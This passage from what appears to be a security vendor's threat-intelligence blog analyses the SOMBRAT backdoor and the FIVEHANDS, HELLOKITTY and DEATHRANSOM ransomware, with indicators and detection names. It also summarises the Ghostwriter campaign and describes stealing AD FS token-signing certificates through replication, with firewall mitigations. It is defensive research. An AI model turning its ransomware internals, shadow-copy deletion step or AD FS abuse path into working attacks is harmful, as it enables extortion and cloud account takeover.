FOXGRABBER is a command line utility used to harvest FireFox credential files from remote systems. It contains the PDB path: C:\Users\kolobko\Source\Repos\grabff\obj\Debug\grabff.pdb. FOXGRABBER has also been observed in DARKSIDE ransomware intrusions.

BEACON Malleable Profiles

In the initial stages of an intrusion, UNC2447 uses the Cobalt Strike BEACON HTTPSSTAGER implant for persistence to communicate with command-and-control (C2) servers over HTTPS and has been observed using ‘chches_APT10’ and ‘Havex’ Malleable profiles.

UNC2447 Toolbox

During the recon and exfiltration stage of intrusions, UNC2447 has been observed using the following tools: ADFIND, BLOODHOUND, MIMIKATZ, PCHUNTER, RCLONE, ROUTERSCAN, S3BROWSER, ZAP and 7ZIP. UNC2447 may tamper with windows security settings, firewall rules, and antivirus protection.

SOMBRAT Overview

SOMBRAT was first reported by Blackberry Cylance in November 2020 as "The CostaRicto Campaign: Cyber-Espionage Outsourced" as a potential espionage-for-hire criminal group. Mandiant has now observed SOMBRAT alongside FIVEHANDS ransomware intrusions.

The SOMBRAT backdoor is packaged as a 64-bit Windows executable. It communicates with a configurable command and control (C2) server via multiple protocols, including DNS, TLS-encrypted TCP, and potentially WebSockets. Although the backdoor supports dozens of commands, most of them enable the operator to manipulate an encrypted storage file and reconfigure the implant. The backdoor's primary purpose is to download and execute plugins provided via the C2 server. In contrast to the SOMBRAT version published in November 2020, Mandiant observed additional obfuscation and armoring to evade detection, this SOMBRAT variant has been hardened to discourage analysis. Program metadata typically included by the compiler has been stripped and strings have been inlined and encoded via XOR-based routines.

The SOMBRAT Launcher

This SOMBRAT backdoor variant must be deployed alongside four additional resources that serve as launchers. They are typically installed to the hardcoded directory path `C:\ProgramData\Microsoft`. 

  • path: `C:\programdata\Microsoft\WwanSvc.bat` - launcher for `WwanSvc.txt`
  • path: `C:\programdata\Microsoft\WwanSvc.txt` - decoder and launcher for `WwanSvc.c`
  • path: `C:\programdata\Microsoft\WwanSvc.c` - decoder and launcher for `WwanSvc.b`
  • path: `C:\programdata\Microsoft\WwanSvc.a` - XOR key
  • path: `C:\programdata\Microsoft\WwanSvc.b` - encoded SOMBRAT backdoor
  • path: `%TEMP%\<possibly unique random name>` - encrypted storage file
  • path: `%TEMP%\<possibly unique random name _<integer>` - encrypted storage file
  • path: `C:\ProgramData\<possibly unique random name ` - encrypted configuration file

Other variations of the filenames were observed such as ntuser and wapsvc.

SOMBRAT Technical Details

The SOMBRAT backdoor is written in modern C++ and implemented as a collection of "plugins" that interoperate with one another. There are five plugins distributed with this variant: `core`, `network`, `storage`, `taskman`, and `debug` (the `config` plugin described by Blackberry is not present). The core plugins communicate with the C2 server via messages sent over a common networking layer; each plugin supports its own set of messages, and the backdoor protocol can be extended by dynamically loaded plugins.

The `core` plugin coordinates state tracking, such as network connectivity, and dynamic plugin loading and unloading. The `network` plugin configures the networking layer used to communicate with the C2 server, for example enabling the operator to switch between DNS and TCP protocols. The `storage` plugin exposes logical operations, such as read and write, for an encrypted file used to store plugins, resources, and arbitrary data. The `taskman` plugin enables the operator to list and kill processes on the compromised system. Finally, the `debuglog` plugin supports a single command to records debug messages.

Given that the core plugins do not enable an operator directly execute arbitrary commands or reconfigure the system, the primary function of the SOMBRAT backdoor is to load plugins provided via the C2 server. These plugins may be shellcode or DLL modules to be dynamically loaded. The C2 server may instruct the backdoor to load the plugins directly or persist them into the encrypted storage file, where they may subsequently be reloaded, such as after upgrading the backdoor.


Figure 2: Malware author mark “No one is perfect except me.”

SOMBRAT evades forensic analysis by patching the process memory used to record command line arguments. It replaces the initial command line with the base filename of the program executable, removing any arguments. This means that investigators that inspect a process listing via memory forensics will see the innocuous-looking command line `powershell.exe` rather than references to the uncommon filename such as `WwanSvc.c`.

SOMBRAT Network Communications

The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications.

When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.

Ransomware Similarities

Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).


Figure 3: Language check from Fortinet blog

  • HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
    • HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).


Figure 4: HELLOKITTY mutex shown in Process Explorer

In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.

  • Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY
  • Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories

Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM

DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.

HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.

FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.

Deletion of Volume Shadow Copies

DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.

Encryption Operations

Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file.

  • After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
  • DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
  • FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
  • In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
  • DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.

DEATHRANSOM Encryption

  • DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
  • The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
  • For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
  • DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
  • The analyzed DEATHRANSOM sample used for comparison does not change the file extension.

HELLOKITTY Encryption

  • HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
  • Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
  • Depending on the version, HELLOKITTY may or may not change the file extension.
  • Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.

FIVEHANDS Encryption

  • FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
  • The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
  • FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
  • The encrypted file extension is changed to .crypt  extension
  • FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.

FIVEHANDS Encrypted Dropper

One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.

CLI arguments

FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments.

Locale and Mutex checks

DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.

HELLOKITTY performs a mutex check while the other two do not perform mutex checks.

File Exclusions

DEATHRANSOM and HELLOKITTY both exclude the same directories and files:

programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.

The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.

Additional Differences

  • DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections.
  • HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality
  • Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension
  • Different versions of HELLOKITTY are known to check for specific processes to terminate.

Feature

FIVEHANDS

HELLOKITTY

DEATHRANSOM

Programming Language

C++

C++

C

Symmetric Encryption

AES 128

AES 256

AES 256

Asymmetric Encryption

Embedded NTRU Key

Embedded RSA or NTRU Key

Curve25519 ECDH and RSA key creation

Same directory and file name exclusions

No

Yes

Yes

Accepts CLI Arguments

Yes

No

No

Network Connections

No

No

Yes

Locale Check

No

No

Yes

Mutex Check

No

Yes

No

Bytes Appended to Encrypted Files

DB DC CC AB

DA DC CC AB

AB CD EF AB

Table 1: Ransomware feature comparison

Conclusion

Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.

Indicators

SOMBRAT UNC2447
  • 87c78d62fd35bb25e34abb8f4caace4a
  • 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher
  • cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key)
  • 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c)
  • 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat)
  • 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b)
  • edf567bd19d09b0bab4a8d068af15572 (wwansvc.b)
  • a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt)
  • f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored)
  • 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains
  • Celomito[.]com (unc2447)
  • Feticost[.]com (unc2447)
  • Cosarm[.]com
  • Portalcos[.]com
FIVEHANDS
  • 39ea2394a6e6c39c5d7722dc996daf05
  • f568229e696c0e82abb35ec73d162d5e
FIVEHANDS Encrypted Dropper
  • 6c849920155f48d4b4aafce0fc49eb5b
  • 22d35005e926fe29379cb07b810a6075
  • 57824214710bc0cdb22463571a72afd0
  • 87c0b190e3b4ab9214e10a2d1c182153
  • 1b0b9e4cddcbcb02affe9c8124855e58
  • 46ecc24ef6d20f3eaf71ff37610d57d1
  • 1a79b6d169aac719c9323bc3ee4a8361
  • a64d79eba40229ae9aaebbd73938b985
HELLOKITTY
  • 136bd70f7aa98f52861879d7dca03cf2
  • 06ce6cd8bde756265f95fcf4eecadbe9
  • af568e8a6060812f040f0cb0fd6f5a7b
  • d96adf82f061b1a6c80699364a1e3208
DEATHRANSOM
  • c50ab1df254c185506ab892dc5c8e24b
WARPRISM
  • c925822c6d5175c30ba96388b07e9e16 (unc2447)
  • c171bcd34151cbcd48edbce13796e0ed
  • d87fcd8d2bf450b0056a151e9a116f72
  • f739977004981fbe4a54bc68be18ea79
  • e18b27f75c95b4d50bfcbcd00a5bd6c5
  • df6e6b3e53cc713276a03cce8361ae0f
  • 1cd03c0d00f7bfa7ca73f7d73677d8f8
  • 8071f66d64395911a7aa0d2057b9b00d
  • c12a96e9c50db5f8b0b3b5f9f3f134f0
  • e39184eacba2b05aaa529547abf41d2b
  • 09a05a2212bd2c0fe0e2881401fbff17
  • 8226d7615532f32eca8c04ac0d41a9fd
  • a01a2ba3ae9f50a5aa8a5e3492891082
  • 29e53b32d5b4aae6d9a3b3c81648653c
  • a809068b052bc209d0ab13f6c5c8b4e7
BEACON UNC2447
  • 64.227.24[.]12 Havex Profile January 2021
  • 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021
  • 74c688a22822b2ab8f18eafad2271cac
  • 7d6e57cbc112ebd3d3c95d3c73451a38
FOXGRABBER
  • 4d3d3919dda002511e03310c49b7b47f

FireEye Detections

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

FIVEHANDS

  • FE_Loader_Win32_Generic_162
  • FE_Ransomware_Win32_FIVEHANDS_1
  • Malware.Binary.exe
  • Ransomware.Win.Generic.MVX

SOMBRAT

  • FE_Backdoor_Win64_SOMBRAT_1
  • Backdoor.Win.SOMBRAT
  • Malware.Binary.exe
  • Backdoor.Win.SOMBRAT.MVX
  • FEC_Trojan_PS1_Generic_7
  • FEC_Trojan_PS1_Generic_8
  • FEC_Trojan_BAT_Generic_5

HELLOKITTY

  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe
  • Ransomware.Win.HELLOKITTY.MVX
  • FE_Ransomware_Win_HELLOKITTY_1
  • FE_Ransomware_Win32_HELLOKITTY_1

DEATHRANSOM

  • FE_Loader_Win32_Generic_92
  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe

BEACON

  • FE_Loader_Win32_BLUESPINE_1
  • Backdoor.BEACON
  • Malware.Binary.exe

WARPRISM

  • FE_Loader_PS1_WARPRISM_1
  • FEC_Loader_PS1_WARPRISM_1
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.Win.SYSTEMBC
  • Backdoor.Meterpreter
  • Loader.PS1.WARPRISM.MVX
  • Malware.Binary.exe
  • Malware.Binary.ps1

FOXGRABBER

  • FE_Tool_MSIL_FOXGRABBER_1
  • FE_Trojan_MSIL_Generic_109

FireEye EndPoint Security

Real-Time (IOC)

  • SOMBRAT (BACKDOOR)
  • SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY)
  • FIVEHANDS RANSOMWARE (FAMILY)
  • DEATHRANSOM RANSOMWARE (FAMILY)
  • HELLOKITTY RANSOMWARE (FAMILY)
  • BEACON (FAMILY)

Malware Protection (AV/MG)

  • SOMBRAT 
    • Generic.mg. 87c78d62fd35bb25
    • Generic.mg.6382d48fae675084
    • Trojan.GenericKD.45750384
    • Trojan.GenericKD.36367848
    • Generic.PwShell.RefA.CB5E962A
  • FIVEHANDS
    • Generic.mg.39ea2394a6e6c39c
    • Generic.mg.f568229e696c0e82
    • Generic.mg.6c849920155f48d4
    • Generic.mg.22d35005e926fe29
    • Generic.mg.57824214710bc0cd
    • Generic.mg.87c0b190e3b4ab92
    • Generic.mg.1b0b9e4cddcbcb02
    • Generic.mg.46ecc24ef6d20f3e
    • Generic.mg.1a79b6d169aac719
    • Generic.mg.a64d79eba40229ae
    • Gen:Variant.Zusy.375932
    • Gen:Variant.Zusy.366866
    • Trojan.GenericKD.46059492
    • Trojan.GenericKD.46059131
    • Trojan.GenericKD.45996121
    • Trojan.GenericKD.45702783
  • WARPRISM 
    • Generic.mg.a01a2ba3ae9f50a5
    • Trojan.PowerShell.Agent.IJ
    • Trojan.Agent.EXDR
    • Trojan.PowerShell.Ransom.E
    • Trojan.Agent.EUKPTrojan.GenericKD.45856129
    • Heur.BZC.PZQ.Boxter.829.B5AEB7A6
    • Heur.BZC.PZQ.Boxter.829.B84D01A7
    • Heur.BZC.PZQ.Boxter.829.AE76D25C
    • Trojan.PowerShell.Ransom.F
    • Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87
    • Heur.BZC.PZQ.Boxter.829.A15701BD
  • DEATHRANSOM
    • Generic.mg.c50ab1df254c1855
    • Trojan.Ransomware.GenericKD.35760206
  • HELLOKITTY
    • Generic.mg.136bd70f7aa98f52
    • Generic.mg.06ce6cd8bde75626
    • Generic.mg.af568e8a6060812f
    • Generic.mg.d96adf82f061b1a6
    • Generic.Malware.PfVPk!12.299C21F3
    • Gen:Variant.Ransom.HelloKitty.1
    • Generic.Malware.PfVPk!12.606CCA24
    • Generic.Malware.PfVPk!12.1454636C
  • BEACON
    • Generic.mg.74c688a22822b2ab
    • Generic.mg.7d6e57cbc112ebd3
    • Trojan.Agent.DDSN

MITRE ATT&CK

Tactic

Description

Initial Access

  • T1078 Valid Accounts

Execution

  • T1047 Windows Management Instrumentation
  • T1053.005 Scheduled Task / Job: Scheduled Task
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1106 Execution through API

Defense Evasion

  • T1045 Software Packing
  • T1055 Process Injection
  • T1140 Deobfuscate / Decode Files or Information

Discovery

  • T1012 Query Registry
  • T1046 Network Service Scanning
  • T1057 Process Discovery
  • T1082 System Information Discovery
  • T1124 System Time Discovery
  • T1135 Network Share Discovery

Collection

  • T1560.003 Archive Collected Data: Archive via Custom Method

Impact

  • T1485 Data Destruction
  • T1486 Data Encrypted for Impact
  • T1490 Inhibit System Recovery

Command and Control

  • T1071.001 Application Layer Protocol: Web Protocols
  • T1090.002 Proxy: External Proxy
  • T1572  Protocol Tunneling
  • T1573.002 Encrypted Channel: Asymmetric Cryptography

Exfiltration

  • T1041 Exfiltration over C2 Channel

Acknowledgements

Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

Ghostwriter Update: Cyber Espionage Group UNC1151 Likely Conducts Ghostwriter Influence Activity

28 April 2021 at 10:00

In July 2020, Mandiant Threat Intelligence released a public report detailing an ongoing influence campaign we named “Ghostwriter.” Ghostwriter is a cyber-enabled influence campaign which primarily targets audiences in Lithuania, Latvia and Poland and promotes narratives critical of the North Atlantic Treaty Organization’s (NATO) presence in Eastern Europe. Since releasing our public report, we have continued to investigate and report on Ghostwriter activity to Mandiant Intelligence customers. We tracked new incidents as they happened and identified activity extending back years before we formally identified the campaign in 2020. A new report by our Information Operations analysis, Cyber Espionage analysis, and Mandiant Research teams provides an update on Ghostwriter, highlighting two significant developments.

We have observed an expansion of narratives, targeting and TTPs associated with Ghostwriter activity since we released our July 2020 report. For example, several recent operations have heavily leveraged the compromised social media accounts of Polish officials on the political right to publish content seemingly intended to create domestic political disruption in Poland rather than foment distrust of NATO. These operations, conducted in Polish and English, appear to have largely not relied on the dissemination vectors we have typically observed with previous Ghostwriter activity, such as website compromises, spoofed emails or posts from inauthentic personas. We have observed no evidence that these social media platforms were themselves in any way compromised, and instead believe account credentials were obtained using the compromised email accounts of targeted individuals.

Recently obtained technical evidence now allows us to assess with high confidence that UNC1151, a suspected state-sponsored cyber espionage actor that engages in credential harvesting and malware campaigns, conducts at least some components of Ghostwriter influence activity; current intelligence gaps, including gaps pertaining to website compromises and the operation of false personas, do not allow us to conclusively attribute all aspects of the Ghostwriter campaign to UNC1151 at this time. We do not associate UNC1151 with any other previously tracked threat groups. Since the start of 2021, UNC1151 has expanded its credential theft activity to target German politicians. This targeting has been publicly reported in the German Tagesschau.

The appendices of the report include an exhaustive table of incidents and operations we currently associate with Ghostwriter activity, a detailed case study of a recent Ghostwriter operation, and indicators of compromise (IOCs) related to UNC1151.

Read the report today to learn more.

Abusing Replication: Stealing AD FS Secrets Over the Network

27 April 2021 at 17:00

Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group's key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services.

Active Directory Federation Services

Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365  trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions.

In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user.


Figure 1: Typical AD FS deployment (source: Microsoft)

The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components:

  1. Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it.
  2. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate.

The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA.

Golden SAML

Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders.

In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document.

<SigningToken>
            <IsChainIncluded>false</IsChainIncluded>
            <IsChainIncludedSpecified>false</IsChainIncludedSpecified>
            <FindValue>99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B</FindValue>
            <RawCertificate></RawCertificate>
            <EncryptedPfx></EncryptedPfx>
            <StoreNameValue>My</StoreNameValue>
            <StoreLocationValue>CurrentUser</StoreLocationValue>
            <X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
        </SigningToken>

Figure 2: Example Token Signing Certificate stored in the AD FS database

The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate.

AD FS Replication

AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.  In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF).

WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally.

To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication.

Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.

   <AuthorizationPolicy>
   @RuleName = “Permit Service Account”exists([Type ==
    “http://schemas.microsoft.com/ws/2008/06/identity/claims/
    primarysid”, Value == “S-1-5-21-3508695881-2242692613
    -376241919-1107”]) => issue(Type = “http://schemas
    .microsoft.com/authorization/claims/permit”, Value = “
    true”);
   @RuleName = “Permit Local Administrators”exists([Type ==
   “http://schemas.microsoft.com/ws/2008/06/identity/claims/group
   sid”, Value == “S-1-5-32-544”])=> issue(Type = &quot
   ;http://schemas.microsoft.com/authorization/claims/permit”, Value
    = “true”);
   </AuthorizationPolicy>

Figure 3: Default Authorization Policy for AD FS server

Room for Abuse

A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate.

First, previous techniques required code execution on an AD FS server to extract the data or at least an SMB connection to transfer the backing database files. With a strong defense in depth program using secure credential management, EDR, and network segmentation, an enterprise can make it very difficult for a threat actor to access an AD FS server and the Token Signing Certificate. Abusing the AD FS Replication service, however, requires only access to the AD FS server over the standard HTTP port. The default installation of AD FS will even create a Windows Firewall rule to allow HTTP traffic from any system. Additionally, a threat actor does not need the credentials for the AD FS service account and can instead use any account that is a local administrator on an AD FS server. Lastly, there is no Event Log message that is recorded when a replication event occurs on an AD FS server. Altogether, this makes the technique both much easier to execute and much harder to detect.

The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement.

Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server.


Figure 4: POC code output

Mitigations

The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.  

To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation.

Set-NetFirewallRule -DisplayName "AD FS HTTP Services (TCP-In)" -RemoteAddress <ADFS1 IP address>,<ADFS2 IP Address>

If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one.

New-NetFirewallRule -DisplayName "Allow ADFS Servers TCP 80" -Direction Inbound -Action Allow  -Protocol TCP -LocalPort 80 -RemoteAddress <ADFS1 IPAddress >,<ADFS2 IPAddress>

Figure 5: Windows Firewall - Allow ADFS Server - TCP 80

Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity.

